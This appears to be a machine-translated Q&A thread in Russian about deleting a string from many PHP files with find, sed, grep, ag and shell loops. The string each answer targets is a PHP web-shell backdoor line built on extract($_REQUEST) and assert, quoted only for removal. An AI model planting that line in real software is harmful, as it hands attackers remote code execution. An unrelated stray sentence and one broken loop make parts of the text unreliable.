Команда Linux для поиска и удаления текста сразу из нескольких файлов

На данный момент, как обсуждалось здесь, похоже, что клавиша Windows + Alt + Tab делает свое дело

0
03.06.2019, 18:10
4 ответа
  1. Вы можете комбинировать sedс find, чтобы сделать его рекурсивным. Что-то в этом роде:

    find. -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
    

    Обратите внимание, что он будет проходить через ваше текущее дерево каталогов и применять sed к каждому существующему файлу " *php". Он также создаст файл резервной копии.bak для каждого измененного (, чтобы вы могли восстановить его позже на всякий случай ). Если вам не нужна резервная копия, замените -i.bakпросто на -i. В противном случае вы можете удалить резервные копии позже (после того, как убедитесь, что все в порядке )с помощью чего-то вроде find. -name "*php.bak" -delete.

  2. Этот шаг не поможет вам исправить все прямо сейчас, но определенно может сэкономить вам время в будущем :держите каталог со скриптами подgit(в идеале это должно быть законченное решение CI/CD, но вы можете начать просто с git ), чтобы вы могли легко откатить / переслать изменения, которые были применены к вашим файлам.

3
28.01.2020, 02:18

в зависимости от вашей команды, я предлагаю вам использовать для этого цикл for:

for i in file-1.php file-2.php
        do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done

также вы можете добавить любой файл, который вы хотите, для i в файле -1.php файл -2.php файл -n.php

0
28.01.2020, 02:18

Найдите файлы, содержащие вредоносную строку, и отредактируйте их с помощьюsed:

ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

Я часто полагаюсь наagдля поиска только phpфайлов с флагом --php. Если вы предпочитаете, вы можете сделать то же самое с помощьюgrep -r -i --include \*.php:

grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
2
28.01.2020, 02:18

Вы можете использовать описанный ниже метод для удаления строк в файле, который содержит определенный шаблон

Вы можете указать файлы в цикле for

for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done
0
28.01.2020, 02:18

Теги

Похожие вопросы